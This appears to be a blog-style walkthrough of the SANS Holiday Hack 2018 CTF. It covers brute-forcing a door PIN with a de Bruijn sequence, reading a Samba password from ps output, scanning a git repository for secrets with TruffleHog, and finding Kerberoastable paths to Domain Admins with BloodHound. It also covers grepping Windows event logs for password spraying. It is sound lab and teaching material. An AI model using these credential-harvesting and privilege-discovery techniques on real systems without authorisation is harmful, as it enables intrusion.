elf@9a47b22440e3:~$ cat .bash_history set -o history whoami echo "No, really... /-:" mkdir -p .secrets/her/ firefox https://www.google.com/search?q=love+poetry vim ls -lAR exit set -o history df -h who firefox https://www.google.com/search?q=replacing+strings+in+vim time vim ls -lAR exit set -o history vim exit ls -lA cat .bash_history echo "" >> .bash_history firefox https://www.google.com/search?q=turn+off+bash+history set +o history set +o history elf@9a47b22440e3:~$
Fortunately, we have the .viminfo
file which can tell us more :
elf@9a47b22440e3:~$ cat .viminfo # This viminfo file was generated by Vim 8.0. # You may edit it if you're careful! # Viminfo version |1,4 # Value of 'encoding' when this file was written *encoding=utf-8 # hlsearch on (H) or off (h): ~h # Last Substitute Search Pattern: ~MSle0~&Elinore # Last Substitute String: $NEVERMORE # Command Line History (newest to oldest): :wq |2,0,1536607231,,"wq" :%s/Elinore/NEVERMORE/g |2,0,1536607217,,"%s/Elinore/NEVERMORE/g" :r .secrets/her/poem.txt |2,0,1536607201,,"r .secrets/her/poem.txt"
We can see there that all Elinore
strings has been replaced by NEVERMORE
. The first name of the elf of whom a love poem
was written is probably Elinore
.
We can now speek again with Tangle Coalbox which has a lot to say :
Hey, thanks for the help with the
investigation, gumshoe.
Have you been able to solve the lock
with the funny shapes?
It reminds me something called "de
Bruijn Sequences."
You can optimize the guesses
because there is no start and stop --
each new value is added to the end
and the first is removed.
I've even seen de Bruijn sequence
generators online.
Here the length of the alphabet is 4
(only 4 buttons) and the length of the
PIN is 4 as well.
Mathematically this is k=4, n=4 to
generate the de Bruijn sequence.
Math is like your notepad and pencil -
can't leave home without it!
I heard Alabaster lost his badge!
That's pretty bad. What do you think
someone could do with that?
Tangle gaves us two more hints :
- a link about Opening a Ford with a Robot and the de Bruijn Sequence ;
- and another one that can help us generate de Bruijn Sequence : de Bruijn sequence generator
« Speaker Unpreparedness Room » door passcode
The door passcode has 4 keys :
We use the de Bruijn sequence generator and generate a sequence for 4 k and 4 n :
Then we follow the sequence, with 0 = triangle, 1 = square, 2 = circle and 3 = star keys. And after a while :
This unlocked two new narratives :
And we can enter the "Speaker Unpreparedness Room" like the door is now opened :
In the speaker unperparedness room we meet Morcel Nougat :
which have an unique phrase to tell : "Welcome unprepared speaker!".
But it's enough, like it's our flag :
This closed the third quest :
Now our roadmap looks like this :
Objective | Difficulty | Terminal & links | Character |
---|---|---|---|
1) Orientation Challenge | KringleCon Holiday Hack History kiosk Essential Editor Skills |
Bushy Evergreen | |
2) Directory Browsing | CFP site The Name Game terminal |
Minty Candycane | |
3) de Bruijn Sequences | Lethal ForensicELFication terminal | Tangle Coalbox | |
4) Data Repo Analysis | North Pole Git repository Stall Mucking Report terminal |
Wunorse Openslae | |
5) AD Privilege Discovery | SANS Slingshot Linux Image CURLing Master terminal | Holly Evergreen | |
6) Badge Manipulation | sample employee badge Yule Log Analysis terminal |
Pepper Minstix | |
7) HR Incident Response | ELF Resources website Dev Ops Fail terminal | Sparkle Redberry | |
8) Network Traffic Forensics | web-based packet capture and analysis tool Python Escape from LA terminal |
SugarPlum Mary | |
9) Ransomware Recovery | Sleigh Bell Lottery terminal | Shinny Upatree | |
9.1) Catch the Malware | |||
9.2) Identify the Domain | |||
9.3) Stop the Malware | |||
9.4) Recover Alabaster's Password | |||
10) Who Is Behind It All? |
Objective 4 : Data Repo Analysis
As usual, we look for the next character to meet, which is Wunorse Openslae :
Hi, I'm Wunorse Openslae.
What was that password?
Golly, passwords may be the end of
all of us. Good guys can't remember
them, and bad guess can guess
them!
I've got to update my chore report
to my manager's inbox, but I can't
remember my password!
Still, with all the automated tasks
we use. I'll bet there's a way to find
it in memory...
Ok, so may be we can found the lost password somewhere in memory, and we have to look for automated tasks.
Terminal « Stall Mucking Report » (first floor, second at right hand)
Here is the full text :
Thank you Madam or Sir for the help that you bring! I was wondering how I might rescue my day. Finished mucking out stalls of those pulling the sleigh, My report is now due or my KRINGLE's in a sling! There's a samba share here on this terminal screen. What I normally do is to upload the file, With our network credentials (we've shared for a while). When I try to remember, my memory's clean! Be it last night's nog bender or just lack of rest, For the life of me I can't send in my report. Could there be buried hints or some way to contort, Gaining access - oh please now do give it your best! -Wunorse Openslae Complete this challenge by uploading the elf's report.txt file to the samba share at //localhost/report-upload/ elf@f0e15cd72447:~$
...and the report.txt
content :
elf@f0e15cd72447:~$ ls -a . .. .bash_logout .bashrc .profile report.txt elf@f0e15cd72447:~$ cat report.txt Stall mucking report Dasher - routine Dancer - routine Prancer - confiscated second salt lick Vixen - minor repair/adjustment to water system Comet - routine Cupid - routine Donner - routine Blitzen - refilled headache medicine Thrasher - routine Thunder - requested hay! oats! hay! oats! Blaster - stall... took extra mucking Blunder - caught with excessive carrot contraband again Blogger - discussed social media policies again Bragger - what appeared to be a prosthetic red nose Sat Jan 5 13:56:17 UTC 2019 elf@f0e15cd72447:~$
...very interesting...
Let's try to help uploading the report.
We can try to mount the samba share : sudo mount -t cifs //loclahost/report_upload samba, but we need the elf's account password.
Or we can try to use the smbclient
command : smbclient //localhost/report_upload -c 'put report.txt', but we also need the elf's account password.
There is a conference at KringleConf that can probably help us : Sneaking Secrets from SMB Shares.
Listing the Samba shares on localhost
give this :
elf@86633cdddbc0:~$ smbclient -L //localhost -N WARNING: The "syslog" option is deprecated Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.5.12-Debian] Sharename Type Comment --------- ---- ------- homes Disk Home Directories print$ Disk Printer Drivers IPC$ IPC IPC Service (86633cdddbc0 server (Samba, Ubuntu)) Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.5.12-Debian] Server Comment --------- ------- Workgroup Master --------- -------
The report-upload
is not showed here because homes
indicates that each user
repository is shared with it's name. And there is a report-upload
user :
elf@c377cebd8f77:~$ ls /home elf manager report-upload elf@c377cebd8f77:~$
There is a credential cache in Samba which can be used with a -C
switch. We can try to use it :
elf@41e7907be257:~$ smbclient //localhost/report-upload 'dir' -C WARNING: The "syslog" option is deprecated Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.5.12-Debian] tree connect failed: NT_STATUS_ACCESS_DENIED
May be with user report-upload
?
elf@c377cebd8f77:~$ smbclient //localhost/report-upload -C -U report-upload WARNING: The "syslog" option is deprecated SPNEGO(ntlmssp) login failed: NT_STATUS_WRONG_CREDENTIAL_HANDLE session setup failed: NT_STATUS_WRONG_CREDENTIAL_HANDLE
Another fail...
...thinking...
What did Wunorse said ?
Still, with all the automated tasks
we use. I'll bet there's a way to find
it in memory...
And we have a hint about keeping Command Line Passwords Out of PS !!!
May be there is a process with the report-upload
share password in the command line ?
Trying ps -aux to see all the processes :
elf@658e455b9403:~$ ps -aux USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 1.0 0.0 17952 2972 pts/0 Ss 23:28 0:00 /bin/bash /sbin/init root 10 0.0 0.0 45320 3172 pts/0 S 23:28 0:00 sudo -u manager /home/man root 11 0.0 0.0 45320 3192 pts/0 S 23:28 0:00 sudo -E -u manager /usr/b root 15 0.0 0.0 45320 3176 pts/0 S 23:28 0:00 sudo -u elf /bin/bash manager 16 0.2 0.0 33848 8060 pts/0 S 23:28 0:00 /usr/bin/python /home/man manager 17 0.0 0.0 9500 2508 pts/0 S 23:28 0:00 /bin/bash /home/manager/s manager 18 0.0 0.0 4196 704 pts/0 S 23:28 0:00 sleep 60 elf 19 0.0 0.0 18208 3188 pts/0 S 23:28 0:00 /bin/bash root 23 0.3 0.0 316664 15492 ? Ss 23:28 0:00 /usr/sbin/smbd root 24 0.0 0.0 308372 5860 ? S 23:28 0:00 /usr/sbin/smbd root 25 0.0 0.0 308364 4464 ? S 23:28 0:00 /usr/sbin/smbd root 27 0.0 0.0 316664 5944 ? S 23:28 0:00 /usr/sbin/smbd elf 29 0.0 0.0 36636 2888 pts/0 R+ 23:28 0:00 ps -aux elf@658e455b9403:~$
Command lines are truncated. Trying ps -aux | more :
elf@e3ccb0b9aed4:~$ ps -aux |more
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.1 0.0 17952 2792 pts/0 Ss 22:52 0:00 /bin/bash /sbin/init
root 11 0.0 0.0 45320 3084 pts/0 S 22:52 0:00 sudo -u manager /home/man
ager/samba-wrapper.sh --verbosity=none --no-check-certificate --extraneous-command-argumen
t --do-not-run-as-tyler --accept-sage-advice -a 42 -d~ --ignore-sw-holiday-special --suppr
ess --suppress //localhost/report-upload/ directreindeerflatterystable -U report-upload
root 12 0.0 0.0 45320 3092 pts/0 S 22:52 0:00 sudo -E -u manager /usr/b
in/python /home/manager/report-check.py
root 16 0.0 0.0 45320 3068 pts/0 S 22:52 0:00 sudo -u elf /bin/bash
manager 17 0.0 0.0 33848 8072 pts/0 S 22:52 0:00 /usr/bin/python /home/man
ager/report-check.py
manager 18 0.0 0.0 9500 2608 pts/0 S 22:52 0:00 /bin/bash /home/manager/s
amba-wrapper.sh --verbosity=none --no-check-certificate --extraneous-command-argument --do
-not-run-as-tyler --accept-sage-advice -a 42 -d~ --ignore-sw-holiday-special --suppress --
suppress //localhost/report-upload/ directreindeerflatterystable -U report-upload
manager 19 0.0 0.0 4196 712 pts/0 S 22:52 0:00 sleep 60
elf 20 0.0 0.0 18204 3204 pts/0 S 22:52 0:00 /bin/bash
root 24 0.0 0.0 316664 15416 ? Ss 22:52 0:00 /usr/sbin/smbd
root 25 0.0 0.0 308372 5816 ? S 22:52 0:00 /usr/sbin/smbd
root 26 0.0 0.0 308364 4472 ? S 22:52 0:00 /usr/sbin/smbd
root 28 0.0 0.0 316664 5916 ? S 22:52 0:00 /usr/sbin/smbd
elf 33 0.0 0.0 36636 2860 pts/0 R+ 22:53 0:00 ps -aux
elf 34 0.0 0.0 6420 920 pts/0 S+ 22:53 0:00 more
elf@658e455b9403:~$
Bingo !!!
The report-upload
share password is directreindeerflatterystable
.
With a smbclient //localhost/report-upload directreindeerflatterystable -U report-upload command, we can now access to the Samba share and with a put report.txt command we can upload the report :
ALWAYS read the f*****g manual and pay attention to hints !
Going back to Wunorse :
Thank goodness for command line
passwords - and thanks for your help!
Speaking of good ways to find
credentials, have you heard of
Trufflehog?
It's a cool way to dig through
repositories for passwords, RSA
keys, and more.
I mean, no one EVER uploads
sensitive credentials to public
repositories, right? But if they did, this
would be a great tool for finding them.
But hey, listen to me ramble. If you're
interested in Trufflehog, you should
check out Brian Hostetler's talk!
Have you tried the entropy=True
option when running Trufflehog? It is
amazing how much deeper it will dig!
Wunorse gaves us three good hints about Trufflehog which will be usefull for searching in the git repository for the encrypted ZIP file password.
North Pole Git repository
The North Pole Git Repository hosts the santas_castle_automation
project :
According to these paragraphs, it seems that Shinny had effectively uploaded some secrets in it :
Ok, but we have first to look for the encrypted zip file.
We create a 4_-_Data_Repo_Analysis
directory to put our files. With a git
subdirectory :
mkdir 4_-_Data_Repo_Analysis
cd 4_-_Data_Repo_Analysis
mkdir git
cd git
Then we clone the Santas Castle Automation Git repository with a git clone https://git.kringlecastle.com/Upatree/santas_castle_automation.git command.
And look for zip files in it with a find . -iname *.zip :
root@kali:~/sans2018/4_-_Data_Repo_Analysis/git# find -iname *.zip ./santas_castle_automation/schematics/ventilation_diagram.zip
There is a single zip file : ventilation_diagram.zip
.
Now we are going to install Trufflehog
in order to search the git arcanes !
git clone https://github.com/dxa4481/truffleHog.git
cd truffleHog
python3 setup.py install
cd ..
And then, we launch Trufflehog on the santas castle automation repo :
cd truffleHog/truffleHog
python3 truffleHog.py --entropy=true file:///root/sans2018/4_-_Data_Repo_Analysis/git/santas_castle_automation
This gives some interesting stuff:
The new password "used to lock down our sensitive files" seems to be a good candidate...
...and it works. The zip file contains two diagrams :
They look like two floors of a labyrinth. We will come back to this later...
Meanwhile, the password Yippee-ki-yay
closed the fourth quest :
Note : a git log -p command in the santas_castle_automation
directory would also had printed the secrets found with TruffleHog, but with lot more irrelevant datas.
This unlocks two new narratives :
So, we rush to hear the Hans speech :
It seems that we are trapped in the Santa's castle ! brrrrrr...
Note : in the Git repository, there are some intersting files like the Santas KringleCon Elves ;-) :
bhostetler
chris
chriselgee
daniel
evan
joswr1ght
kulj
Lynnie
MilitantGeek
RealEdSkoudis
RealJeffMcJunkin
ron
TKH16
And there is also a beautiful sketch of Hans :
Here is our updated roadmap :
Objective | Difficulty | Terminal & links | Character |
---|---|---|---|
1) Orientation Challenge | KringleCon Holiday Hack History kiosk Essential Editor Skills |
Bushy Evergreen | |
2) Directory Browsing | CFP site The Name Game terminal |
Minty Candycane | |
3) de Bruijn Sequences | Lethal ForensicELFication terminal | Tangle Coalbox | |
4) Data Repo Analysis | North Pole Git repository Stall Mucking Report terminal |
Wunorse Openslae | |
5) AD Privilege Discovery | SANS Slingshot Linux Image CURLing Master terminal | Holly Evergreen | |
6) Badge Manipulation | sample employee badge Yule Log Analysis terminal |
Pepper Minstix | |
7) HR Incident Response | ELF Resources website Dev Ops Fail terminal | Sparkle Redberry | |
8) Network Traffic Forensics | web-based packet capture and analysis tool Python Escape from LA terminal |
SugarPlum Mary | |
9) Ransomware Recovery | Sleigh Bell Lottery terminal | Shinny Upatree | |
9.1) Catch the Malware | |||
9.2) Identify the Domain | |||
9.3) Stop the Malware | |||
9.4) Recover Alabaster's Password | |||
10) Who Is Behind It All? |
Objective 5 : AD Privilege Discovery
Following our roadmap, we look for Holly Evergreen :
Hi, I'm Holly Evergreen!
Ho, that Bushy!
Sorry to vent, but that brother of
mine did something strange.
The trigger to restart the Candy
Striper is apparently an arcane
HTTP call or 2.
I sometimes wonder if all IT folk do
strange things with their home
networks.
Holly gaves us a precious link about HTTP/2.0 Basics. Let's look at this new terminal.
Terminal "CURLing Master" (first floor, second at the left hand)
..................................... ...',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'.... ...,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'... ......'''''''''''''''''''''''',,,,,,,'... ............................',,,,,,,... ...,,,,,,'... ..',,,,,,'.. ...,,,,,,,... ...,,,,,,,... ........................................,,,,,,,'...... .....''''''''''''''''''''''''''''''''''''',,,,,,,,,,'''..... ............................................................... ............................................................... .:llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllc. .llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll; 'llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll: .kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk: o0000000000000000000000000000000000000000000000000000000000000000000000O O00000000000000000000000000000000000000000000000000000000000000000000000' O00000000000000000000000000000000000000000000000000000000000000000000000' d0000000000000000000000000000000000000000000000000000000000000000000000O. 'OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOc ,llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll: ,llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll: .clllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll' 'clllllllllllllllllllllllllllllllllllllllllllllllllllllllllll, .,clllllllllllllllllllllllllllllllllllllllllllllllllllll;. .';:cllllllllllllllllllllllllllllllllllllllllcc;,.. I am Holly Evergreen, and now you won't believe: Once again the striper stopped; I think I might just leave! Bushy set it up to start upon a website call. Darned if I can CURL it on - my Linux skills apall. Could you be our CURLing master - fixing up this mess? If you are, there's one concern you surely must address. Something's off about the conf that Bushy put in place. Can you overcome this snag and save us all some face? Complete this challenge by submitting the right HTTP request to the server at http://localhost:8080/ to get the candy striper started again. You may view the contents of the nginx.conf file in /etc/nginx/, if helpful. elf@66c007cbef3c:~$
curl http://localhost:8080/ seems to return binary datas :
elf@66c007cbef3c:~$ curl http://localhost:8080/ ����elf@66c007cbef3c:~$
We can save the response with curl http://localhost:8080/ > res.bin for exemple.
There is no hexdump
command on the terminal to print the file content in hexadecimal, but there is an od
one. We can dump the response with od --format=x1 res.bin command :
elf@66c007cbef3c:~$ od --format=x1 res.bin 0000000 00 00 12 04 00 00 00 00 00 00 03 00 00 00 80 00 0000020 04 00 01 00 00 00 05 00 ff ff ff 00 00 04 08 00 0000040 00 00 00 00 7f ff 00 00 00 00 08 07 00 00 00 00 0000060 00 00 00 00 00 00 00 00 01 0000071 elf@66c007cbef3c:~$
Nothing pops to our eyes !
Ok, it's time to look at the application sources. Poking around, we find an interesting information in the nginx
configuration file :
elf@66c007cbef3c:~$ more /etc/nginx/nginx.conf
user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;
events {
worker_connections 768;
# multi_accept on;
}
http {
sendfile on;
tcp_nopush on;
tcp_nodelay on;
keepalive_timeout 65;
types_hash_max_size 2048;
# server_tokens off;
# server_names_hash_bucket_size 64;
# server_name_in_redirect off;
include /etc/nginx/mime.types;
default_type application/octet-stream;
server {
# love using the new stuff! -Bushy
listen 8080 http2;
# server_name localhost 127.0.0.1;
root /var/www/html;
location ~ [^/]\.php(/|$) {
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
if (!-f $document_root$fastcgi_script_name) {
return 404;
}
# Mitigate https://httpoxy.org/ vulnerabilities
fastcgi_param HTTP_PROXY "";
# fastcgi_pass 127.0.0.1:9000;
fastcgi_pass unix:/var/run/php/php-fpm.sock;
fastcgi_index index.php;
# include the fastcgi_param setting
include fastcgi_params;
# SCRIPT_FILENAME parameter is used for PHP FPM determining
# the script name. If it is not set in fastcgi_params file,
# i.e. /etc/nginx/fastcgi_params or in the parent contexts,
# please comment off following line:
# fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
}
}
##
# Logging Settings
##
access_log /var/log/nginx/access.log;
error_log /var/log/nginx/error.log;
##
# Gzip Settings
##
gzip on;
gzip_disable "msie6";
# gzip_vary on;
# gzip_proxied any;
# gzip_comp_level 6;
# gzip_buffers 16 8k;
# gzip_http_version 1.1;
# gzip_types text/plain text/css application/json application/javascript text/xml applicat
ion/xml application/xml+rss text/javascript;
##
# Virtual Host Configs
##
include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/*;
}
The protocol used by the the server is http2
!
So, we try to use the http2
protocol with curl
: curl http://localhost:8080 --http2 but it gives the same result.
A little help would be appreciated : curl --help shows an --http2-prior-knowledge Use HTTP 2 without HTTP/1.1 Upgrade (H)
option
Now, trying curl http://localhost:8080 --http2-prior-knowledge :
elf@66c007cbef3c:~$ curl http://localhost:8080 --http2-prior-knowledge
<html>
<head>
<title>Candy Striper Turner-On'er</title>
</head>
<body>
<p>To turn the machine on, simply POST to this URL with parameter "status=on"
</body>
</html>
elf@66c007cbef3c:~$
Ok, we have to send status=on
in a POST
request. What about curl http://localhost:8080 --http2-prior-knowledge --data status=on ?
We can go back and speak with Holly :
Unencrypted HTTP/2? What was he
thinking? Oh well.
Have you ever used Bloodhound for
testing Active Directory
implementations?
It's a merry little tool that can sniff
AD and find paths to reaching
privileged status on specific machines.
AD implementations can get so
complicated that administrators may
not even know what paths they've
set up that attackers might exploit.
Have you seen anyone demo
the tool before?
...viewing the Bloodhound Demo...
Then, download the SANS Slingshot Linux Image.
SANS Slingshot Linux Image
And look for a reliable path from a Kerberoastable user to the Domain Admins group in order to get the user’s logon name?
Here is the entire tree :
There are prededined queries in Bloodhound. We can list them by opening the menu and clicking on the Queries
button. Then there is a Shortest Paths to Domain Admins for Kerberoastable Users
entry :
This query shows four users and two main paths. One of the paths is an RDP one, so the more interesting path is the one for the user LDUBEJ00320@AD.KRINGLECASTLE.COM
:
The LDUBEJ00320@AD.KRINGLECASTLE.COM
user is effectively the one :
This reveals two new narratives :
Hoho, maybe we can find the Alabaster's badge ?
Our roadmap is now half completed :
Objective | Difficulty | Terminal & links | Character |
---|---|---|---|
1) Orientation Challenge | KringleCon Holiday Hack History kiosk Essential Editor Skills |
Bushy Evergreen | |
2) Directory Browsing | CFP site The Name Game terminal |
Minty Candycane | |
3) de Bruijn Sequences | Lethal ForensicELFication terminal | Tangle Coalbox | |
4) Data Repo Analysis | North Pole Git repository Stall Mucking Report terminal |
Wunorse Openslae | |
5) AD Privilege Discovery | SANS Slingshot Linux Image CURLing Master terminal | Holly Evergreen | |
6) Badge Manipulation | sample employee badge Yule Log Analysis terminal |
Pepper Minstix | |
7) HR Incident Response | ELF Resources website Dev Ops Fail terminal | Sparkle Redberry | |
8) Network Traffic Forensics | web-based packet capture and analysis tool Python Escape from LA terminal |
SugarPlum Mary | |
9) Ransomware Recovery | Sleigh Bell Lottery terminal | Shinny Upatree | |
9.1) Catch the Malware | |||
9.2) Identify the Domain | |||
9.3) Stop the Malware | |||
9.4) Recover Alabaster's Password | |||
10) Who Is Behind It All? |
Objective 6 : Badge Manipulation
Following our roadmap, we look for Pepper Minstix :
Hi, I'm Pepper Minstix.
Have you heard of password
spraying? It seems we've been
victim.
We fear that there were successful
in accessing one of our Elf Web
Access accounts, but we don't
know which one.
Parsing through .evtx files can be
tricky, but there's a Python script that
can help you convert it into XML for
easier grep'ing.
We probably will have to deal with some Windows event log files ! Let's look at the Yule Log Analysis terminal...
"Yule Log Analysis" terminal (first floor, third on right hand)
There is an event log file and a Python script in our home :
elf@e90062b82824:~$ ls evtx_dump.py ho-ho-no.evtx runtoanswer
According to Pepper the Python script can produce an XML
file from the evtx
one.
So, we produce an evtx.xml
file with python evtx_dump.py ho-ho-no.evtx > evtx.xml command :
Then we can look at the events with a simple cat or more command. But there is a large number of events there. We will have to filter these datas. It's useful to know the structure of an event :
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"> <System> <Provider Nam e="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-a5ba-3e3b0328c30d}"></Pr ovider> <EventID Qualifiers="">4624</EventID> <Version>2</Version> <Level>0</Level> <Task>12544</Task> <Opcode>0</Opcode> <Keywords>0x8020000000000000</Keywords> <TimeCreated SystemTime="2018-09-10 12:19:20.695601"></TimeCreated> <EventRecordID>231726</EventRecordID> <Correlation ActivityID="" RelatedActivityID=""></Correlation> <Execution ProcessID="664" ThreadID="668"></Execution> <Channel>Security</Channel> <Computer>WIN-KCON-EXCH16.EM.KRINGLECON.COM</Computer> <Security UserID=""></Security> </System> <EventData><Data Name="SubjectUserSid">S-1-0-0</Data> <Data Name="SubjectUserName">-</Data> <Data Name="SubjectDomainName">-</Data> <Data Name="SubjectLogonId">0x0000000000000000</Data> <Data Name="TargetUserSid">S-1-5-18</Data> <Data Name="TargetUserName">SYSTEM</Data> <Data Name="TargetDomainName">NT AUTHORITY</Data> <Data Name="TargetLogonId">0x00000000000003e7</Data> <Data Name="LogonType">0</Data> <Data Name="LogonProcessName">-</Data> <Data Name="AuthenticationPackageName">-</Data> <Data Name="WorkstationName">-</Data> <Data Name="LogonGuid">{00000000-0000-0000-0000-000000000000}</Data> <Data Name="TransmittedServices">-</Data> <Data Name="LmPackageName">-</Data> <Data Name="KeyLength">0</Data> <Data Name="ProcessId">0x0000000000000004</Data> <Data Name="ProcessName"></Data> <Data Name="IpAddress">-</Data> <Data Name="IpPort">-</Data> <Data Name="ImpersonationLevel">-</Data> <Data Name="RestrictedAdminMode">-</Data> <Data Name="TargetOutboundUserName">-</Data> <Data Name="TargetOutboundDomainName">-</Data> <Data Name="VirtualAccount">%%1843</Data> <Data Name="TargetLinkedLogonId">0x0000000000000000</Data> <Data Name="ElevatedToken">%%1842</Data> </EventData> </Event>
There are two main parts in an event : some metadatas about the event (the System
part) and some details datas (the EventData
part)
relative to the event type which is given by the EventID
.
We can count the number of events with a grep EventID evtx.xml | wc -l command or simply a grep EventID evtx.xml -c one :
elf@71afc04d8e5c:~$ grep EventID evtx.xml -c 1288 elf@71afc04d8e5c:~$
And list the different events ID with a grep EventID evtx.xml | sort |uniq command :
<EventID Qualifiers="">4608</EventID> <EventID Qualifiers="">4624</EventID> <EventID Qualifiers="">4625</EventID> <EventID Qualifiers="">4647</EventID> <EventID Qualifiers="">4688</EventID> <EventID Qualifiers="">4724</EventID> <EventID Qualifiers="">4738</EventID> <EventID Qualifiers="">4768</EventID> <EventID Qualifiers="">4769</EventID> <EventID Qualifiers="">4776</EventID> <EventID Qualifiers="">4799</EventID> <EventID Qualifiers="">4826</EventID> <EventID Qualifiers="">4902</EventID> <EventID Qualifiers="">4904</EventID> <EventID Qualifiers="">5024</EventID> <EventID Qualifiers="">5033</EventID> <EventID Qualifiers="">5059</EventID>
Knowing the number of occurence of each EventID will be interesting. We can do this with a grep EventID evtx.xml | sort |uniq -c | sort -r command :
elf@b73775ed8e38:~$ grep EventID evtx.xml | sort |uniq -c | sort -r 756 <EventID Qualifiers="">4624</EventID> 212 <EventID Qualifiers="">4625</EventID> 109 <EventID Qualifiers="">4769</EventID> 108 <EventID Qualifiers="">4776</EventID> 45 <EventID Qualifiers="">4768</EventID> 34 <EventID Qualifiers="">4799</EventID> 10 <EventID Qualifiers="">4688</EventID> 2 <EventID Qualifiers="">5059</EventID> 2 <EventID Qualifiers="">4904</EventID> 2 <EventID Qualifiers="">4738</EventID> 2 <EventID Qualifiers="">4724</EventID> 1 <EventID Qualifiers="">5033</EventID> 1 <EventID Qualifiers="">5024</EventID> 1 <EventID Qualifiers="">4902</EventID> 1 <EventID Qualifiers="">4826</EventID> 1 <EventID Qualifiers="">4647</EventID> 1 <EventID Qualifiers="">4608</EventID> elf@b73775ed8e38:~$
We can notice that the event 4624
is the most frequent one by far and the 4625
one the second. In the Logon
category of
security events listed by Microsoft
there are two main events : event 4624
indicates that » An account was successfully logged on « and event 4625
indicates
that » An account failed to log on «.
Seems that there are a number of failed login attempts there !
We can now try to identify the account for each 4625
event. Exploiting the TargetUserName
event element we can do it.
The grep 4625 evtx.xml -B 2 -A 36 | grep -o 'TargetUserName\">.*</Data>'| sed 's/TargetUserName">//g' | sed 's/<\/Data>//g' | sort | uniq -c command gives an
intersting list :
elf@0a6d026b3037:~$ grep 4625 evtx.xml -B 2 -A 36 | grep -o 'TargetUserName\">.*</Data>'| sed 's/TargetUserName">//g' | sed 's/<\/Data>//g' | sort | uniq -c 1 aaron.smith 1 abhishek.kumar 1 adam.smith 1 ahmed.ali 1 ahmed.hassan 1 ahmed.mohamed 1 ajay.kumar 1 alex.smith 1 ali.khan 1 ali.raza 1 amanda.smith 1 amit.kumar 1 amit.sharma 1 amit.singh 1 amy.smith [...] 1 shinny.upatree 2 sparkle.redberry 1 stephanie.smith 1 steve.johnson 1 steve.smith 1 steven.smith 1 sugerplum.mary 1 sunil.kumar 1 suresh.kumar 1 test.user 1 tim.smith 1 tom.smith 1 tyler.smith 1 vijay.kumar 1 vinod.kumar 1 wunorse.openslae elf@0a6d026b3037:~$
It seems that there is never more than one failed login attempt for each account. Password spraying attack ? There is an IpAddress
element
in the Event structure indicating the IP address from where the logon is requested. It will be interesting to look where those failed login attemps come from.
With this grep 4625 evtx.xml -B 2 -A 36 | grep -o 'IpAddress\">.*</Data>'| sed 's/IpAddress">//g' | sed 's/<\/Data>//g' | sort | uniq -c command we can achieve this :
elf@0a6d026b3037:~$ grep 4625 evtx.xml -B 2 -A 36 | grep -o 'IpAddress\">.*</Data>'| sed ' s/IpAddress">//g' | sed 's/<\/Data>//g' | sort | uniq -c 1 10.158.210.210 211 172.31.254.101 elf@0a6d026b3037:~$
Woooow !!! There are only two IP addresses, and almost all failed logins came from 172.31.254.101
one !
We can look at the same information but for successful logins :
elf@0a6d026b3037:~$ grep 4624 evtx.xml -B 2 -A 36 | grep -o 'IpAddress\">.*</Data>'| sed '
s/IpAddress">//g' | sed 's/<\/Data>//g' | sort | uniq -c
255 -
1 10.158.210.210
1 10.231.108.200
138 127.0.0.1
19 169.254.202.186
1 172.18.101.231
2 172.31.254.101
1 192.168.190.50
1 2001:0:5ef5:79fb:1c84:3455:3f57:aa6a
141 ::1
5 fe80::107e:3fd:3f57:aa6a
1 fe80::1c84:3455:3f57:aa6a
35 fe80::3085:5155:bb47:8b3e
9 fe80::34a2:32ea:3f57:aa6a
2 fe80::34cb:3c75:3f57:aa6a
19 fe80::5efe:169.254.202.186
18 fe80::5efe:192.168.85.149
107 fe80::b0d8:bf3b:51aa:caba
elf@0a6d026b3037:~$
There are only two successful login attempts from the 172.31.254.101
IP address !
Now we can look at the logins for these two events grep 4624 evtx.xml -B 2 -A 45 | grep "172.31.254.101" -B 33 -A 10 :
elf@b73775ed8e38:~$ grep 4624 evtx.xml -B 2 -A 45 | grep "172.31.254.101" -B 33 -A 10 <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"><System><Provider Nam e="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-a5ba-3e3b0328c30d}"></Pr ovider> <EventID Qualifiers="">4624</EventID> <Version>2</Version> <Level>0</Level> <Task>12544</Task> <Opcode>0</Opcode> <Keywords>0x8020000000000000</Keywords> <TimeCreated SystemTime="2018-09-10 13:05:03.702278"></TimeCreated> <EventRecordID>240171</EventRecordID> <Correlation ActivityID="{71a9b66f-4900-0001-a8b6-a9710049d401}" RelatedActivityID=""></Co rrelation> <Execution ProcessID="664" ThreadID="15576"></Execution> <Channel>Security</Channel> <Computer>WIN-KCON-EXCH16.EM.KRINGLECON.COM</Computer> <Security UserID=""></Security> </System> <EventData><Data Name="SubjectUserSid">S-1-5-18</Data> <Data Name="SubjectUserName">WIN-KCON-EXCH16$</Data> <Data Name="SubjectDomainName">EM.KRINGLECON</Data> <Data Name="SubjectLogonId">0x00000000000003e7</Data> <Data Name="TargetUserSid">S-1-5-21-25059752-1411454016-2901770228-1156</Data> <Data Name="TargetUserName">minty.candycane</Data> <Data Name="TargetDomainName">EM.KRINGLECON</Data> <Data Name="TargetLogonId">0x000000000114a4fe</Data> <Data Name="LogonType">8</Data> <Data 